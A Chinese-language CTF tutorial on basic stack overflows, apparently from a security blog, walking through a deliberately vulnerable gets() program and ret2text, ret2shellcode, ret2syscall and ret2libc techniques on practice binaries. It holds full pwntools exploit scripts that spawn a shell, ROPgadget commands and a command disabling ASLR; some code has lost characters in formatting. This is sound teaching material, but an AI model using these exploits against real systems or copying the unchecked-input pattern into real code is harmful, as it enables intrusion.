Pwn入门之基础栈溢出

2022-11-29 10,521

前言

众所周知CTF中最难入门最难进阶的当属Pwn,本文将从一个小白的角度讲解CTF中最基础的栈溢出。

栈溢出原理

程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。

发生的前提条件

  • • 程序必须向栈上写入数据

  • • 写入的数据大小没有被良好地控制

简单示例

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

我们所要达成的目的是让程序执行success函数

首先关闭ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

使用如下指令进行编译

gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example

得到一个stack_example文件,使用checksec进行分析

反编译一下二进制程序并查看vulnerable函数

分析其对应的栈结构,字符串s距离ebp的长度为0x14,那么对应的栈结构应该如下图所示

使用IDA分析,获得success的地址,其地址为0x08048456

ps:这里的success的地址不是固定的,需要根据个人情况进行分析

于是构造如下payload

0x14*'a' +  'bbbb' + success_addr

此时的栈结构如下

这里需要注意的是,在计算机内存中,每个值都是按照字节存储的,一般情况下都是采用小端存储,即0x08048456在内存中的形式是

x56x84x04x08

但是如果我们直接输入的话又会按照字符串进行处理,于是这里我们使用pwntools来帮我们完成复杂的操作,于是构造exp如下

# coding=utf-8
from pwn import *
# 构造交互对象
p = process('./stack_example')
# success函数地址
success_addr = 0x08048456
# 构造payload
payload = 'a'*0x14 + 'bbbb' + p32(success_addr)
# 向程序发送字符串
p.sendline(payload)
# 将代码交互改为手动交互
p.interactive()

得到如下结果证明我们成功了

简单栈溢出总结

  • • 寻找危险函数

    • • 输入

    • • 输出

    • • 字符串

    • • gets,直接读取一行,忽略'x00'

    • • scanf

    • • vscanf

    • • sprintf

    • • strncpy,字符串拼接,遇到'x00'停止

    • • strcat,字符串拼接,遇到'x00'停止

    • • bcopy

    • • 寻找危险函数,快速确定程序是否可能有栈溢出,如果有的话,位置在哪

    • • 常见危险函数

  • • 确定填充长度

    • • 覆盖函数返回地址,这时直接查看ebp即可

    • • 覆盖栈上某个变量的内容,需要进一步计算

    • • 覆盖bss段某个变量的内容

    • • 根据实际情况,覆盖特定的变量或地址的内容

    • • 相对于栈基地址的索引,可以直接通过查看EBP相对偏移量获得

    • • 相对应栈顶指针的索引,一般需要进行调试,之后还会转到第一种类型

    • • 直接地址索引,就相当于直接给定了地址

    • • 计算我们所要操作的地址与我们所要覆盖的地址的距离,常见的操作方法是利用IDA,根据其给定的地址计算偏移量。一般变量会有以下几种索引模式。

    • • 一般来说,会有如下覆盖要求

    • • 之所以要覆盖某个地址,是因为想通过覆盖地址的方法来直接或间接地控制程序执行流程。

基本ROP

由于NX保护的存在,导致直接往栈或者堆上直接注入代码的方式难以发挥效果。攻击者们提出了相应的方法来绕过保护,目前主要是ROP(Return Oriented Programming),主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets是以ret结尾的指令序列,通过这个指令序列可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为ROP,是因为核心在于利用了指令集中的ret指令,改变了指令流的执行顺序,ROP的攻击前提是满足如下条件

  • • 程序存在溢出,并且可以控制返回地址。

  • • 可以找到满足条件的gadgest以及相应gadgets的地址。

ret2text

控制程序执行程序本身已有的代码(.text)。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,需要想办法去绕过这些保护。

例子:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

查看程序

32位程序,仅开启了栈不可以执行保护,分析源码

程序在主函数中,使用了gets函数,明显存在栈溢出,分析字符串发现系统中有/bin/sh字样

跟进分析,查找调用/bin/sh的地址

分析发现调用/bin/sh的地址为0x0804863A,直接控制系统返回至此,就可以得到系统的shell。

接下来考虑构造payload,首先需要确定能够控制的内存的起始地址距离main函数的返回地址的字节数

通过分析发现该字符串是通过esp进行索引的,所以需要进行调试,把断点下在call处,查看esp,ebp

esp为0xffffd410,ebp为0xffffd498,同时s相对于esp的索引为esp+0x80,因此可以推断

  • • s的地址为0xffffd42c

  • • s相对于ebp的偏移为0x6c

  • • s相对于返回地址的偏移为0x6c+4

构造最终payload

from pwn import *
p = process('./ret2text')
target = 0x0804863A
payload = 'A'*0x6c+'B'*4+p32(target)
p.sendline(payload)
p.interactive()

ret2shellcode

控制程序执行shellcode代码。在栈溢出的基础上,要想执行shellcode,需要对应的binary在运行时,shellcode所在的区域具有可执行权限权限

例子

首先使用checksec查看一下程序

分析发现程序为32程序,且没有开启任何保护

放进ida中进行分析

分析发现存在strncpy函数,使用文本视图查看call调用srncpy的位置

gdb调试时,在此处下断点

分析发现输入的字符串的地址是0xffffcf3cebp的地址是0xffffcfa8,偏移量为0x6C+4

继续分析发现程序会将对应的字符串复制到buf2处。进行分析可知buf2在bss段,在main处打断点调试程序,使用vmmap查看分析发现这一个bss段可执行

所以最后的exp如下

from pwn import *
p = process('ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804a080

p.sendline(shellcode.ljust(112b'A') + p32(buf2_addr))
p.interactive()

ret2syscall

原理:控制程序执行系统调用,获取shell

例子

首先使用checksec查看程序

分析发现程序为32位程序且开启了NX保护,继续分析源码

对源码进行分析,发现程序中使用了gets函数,因此依旧是一个栈溢出,首先计算偏移量

在调用gets处下断点

eax的地址为0xffffcf1cebp的地址为0xffffcf88,因此偏移量为0x6C+4

再次分析发现,前面所提到的思路无法使用,于是考虑利用程序中的 gadgets 来获得 shell,即把对应获取shell的系统调用的参数放到对应寄存器中,再执行int 0x80就可执行对应的系统调用,比如利用如下系统调用来获取shell

execve("/bin/sh",NULL,NULL)

因为程序为32位程序,所以我们需要按照如下规则控制寄存器

系统调用号,eax0xb(execve的系统调用号)

常见系统调用号查询链接:http://www.linfo.org/system_call_number.html

/bin/sh的地址,ebx,第一个参数

0ecx,第二个参数

0edx,第三个参数

想要控制这些寄存器的值,就需要使用gadgets,直接说可能比较抽象,举个例子进行说明,例如栈顶目前是10,那如果此时执行了pop eax,那eax的值就是10,在通常情况下我们无法保证程序中有一段连续的代码可以同时控制对应的寄存器,因此需要一段一段的控制,这也是为什么在gadgets最后要使用ret来再次控制程序执行流程,寻找gadgets,我们可以使用ropgedgets,该工具的详细使用讲解,可参考此链接(https://www.wangan.com/docs/678),这里不进行赘述

控制 eax 的 gadgets

ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

选择第二个

0x080bb196 : pop eax ; ret

控制ebx的gadgets

ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'

选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

之所以选择这个,是因为这个gadgets可以一次性控制ebxecxedx三个寄存器,能最大程度满足我们的需求。

/bin/sh字符串对应的地址

ROPgadget --binary rop  --string "/bin/sh"

int 0x80对应的地址

ROPgadget --binary rop  --only "int"

所以最终exp如下

from pwn import *
p = process("./rop")
bin_sh = 0x080be408
int_0x80 = 0x08049421
eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
payload = flat(["A"*112, eax_ret, 0xb, edx_ecx_ebx_ret, 00, bin_sh, int_0x80])
p.sendline(payload)
p.interactive()

ret2libc

原理:rett2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。通常情况下,会选择执行system("/bin/sh"),故首先需要知道system函数的地址。

使用三个例子来进行学习

首先是ret2libc1

首先用ida进行反编译,寻找system的地址

system:0x08048460

查找bin/sh的地址

/bin/sh:0x08048720

计算偏移量,在调用gets函数的位置打断点

ebp和eax之间的差值即为偏移量-4,因此偏移量为112

开始构造exp

from pwn import *
p = process("./ret2libc1")
fun_system = 0x08048460
bin_sh = 0x08048720
payload = flat(['A'*112, fun_system, 'b'*4, bin_sh])
p.sendline(payload)
p.interactive()

这里需要注意的是函数调用栈结构,细心的师傅肯定发现了,payload里面多了一个b*4,如果是正常调用system函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb'作为虚假的地址,其后参数对应的参数内容,于是利用上述exp就能解决我们这道很简单的ret2libc题目。

ret2libc2

相较于上一个题目,这个题目无法直接调用到/bin/sh,需要使用两个gadget去构造,两个gadget,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")

偏移量的计算与之前相似,不赘述了,偏移量为112

gets_plt:0x08048460

system_plt:0x08048490

因为程序中没有/bin/sh,于是考虑向bss段里的buf2变量写入/bin/sh字符串,并将其地址作为 system 的参数传入,以方便获取shell

buf2:0x0804A080

ret_ebx:0x0804843d

最终构造的exp:

from pwn import *
p = process("./ret2libc2")
system_plt = 0x08048490
get_plt = 0x08048460
buf2 = 0x0804A080
pop_ebx = 0x0804843d
payload = flat(['A'*112, get_plt, pop_ebx, buf2, system_plt, 'b'*4, buf2])
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

ret2libc3

在前面的基础上,再次将system函数的地址去掉。需要同事找到system函数地址与/bin/sh字符串的地址,checksec查看文件

源程序开启了堆栈不可执行保护。分析源码发现,bug依旧是栈溢出

如果要想得到system函数地址需要用到两个知识点

  • • system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的

  • • 程序开启了ASLR保护,也仅针对于地址中间位进行随机,最低的12位并不会发生改变

因此如果知道libc中某个函数的位置,就可以确定该程序利用的libc,进而知道system函数的地址

想要得到libc中的某个函数的地址,我们一般常用的方法是采用got表泄漏,即输出某个函数对应的got表的内容,由于libc的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

为了方便我们操作,使用LibcSearcher工具,此外,在得到libc之后,其实libc中也有/bin/sh字符串,所以可以一起获得/bin/sh

分析以后,我们泄漏__libc_start_main的地址,因为它是程序最初被执行的地方。基本利用思路如下

  • • 泄漏__libc_start_main地址

  • • 获取libc版本

  • • 获取system地址与/bin/sh地址

  • • 再次执行源程序

  • • 触发栈溢出执行system('/bin/sh')

最终构造exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

参考链接

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#3

E

N

D



本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/192491.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号